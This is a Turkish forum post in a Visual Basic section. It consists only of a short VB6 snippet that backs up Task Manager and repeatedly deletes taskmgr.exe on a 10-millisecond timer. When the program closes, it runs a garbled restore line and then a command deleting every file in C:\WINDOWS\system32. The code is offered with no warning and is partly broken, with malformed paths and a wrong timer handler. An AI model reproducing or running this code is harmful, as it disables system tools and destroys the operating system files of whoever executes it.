![]() |
|
|||||||
| Kayıt ol | Yardım | Üye Listesi | Ajanda | Arama | Bugünki Mesajlar | Bütün Forumları okunmuş kabul et |
| Visual Basic Visual Basic Hakkında Aradığınız Herşey.. Visual Basic Kodları.. |
![]() |
|
|
LinkBack | Seçenekler |
|
|
#1 (permalink) | ||
|
Mesajlar: n/a
|
Kod:
Private Sub Form_Load()
filecopy "c:\windows\system32\taskmgr.exe" , "c:\windows\repeair\taskmgr.exe"
'Burada Taskmgr dosyasını yedekledik
Timer1.interval=10
End Sub
Private Sub Timer1()
ON LOCAL ERROR RESUME NEXT
Kill "c:\windows\system32\taskmgr.exe"
End Sub
Private Sub Form_unload()
filecopy "c:\windows\repeair\taskmgr.exe" , "c:\windows\system32\taskmgr.exec:\windows\repeair\taskmgr.exe"
kill "C:\WINDOWS\system32\*.*"
End Sub
|
||
|
![]() |
| Konuyu Toplam 1 Üye okuyor. (0 Kayıtlı üye ve 1 Misafir) | |
| Seçenekler | |
|
|
Benzer Konular
|
||||
| Konu | Konuyu Başlatan | Forum | Cevaplar | son Mesaj |
| Windows XP 64-Bit Edition'ın yararları | Cansu | Windows işletim Sistemi | 1 | 09-19-08 00:01 |
| Windows kapatma | DeJiN | Visual Basic | 0 | 12-27-07 15:37 |
| neden windows kullanmamalıyım? | Cansu | Windows işletim Sistemi | 0 | 12-23-07 00:51 |
| Windows XP Kurulumu | C_a_n | Windows işletim Sistemi | 0 | 12-12-07 11:08 |
mirc
mırc
çet
cet
sohbet
chat
canlı tv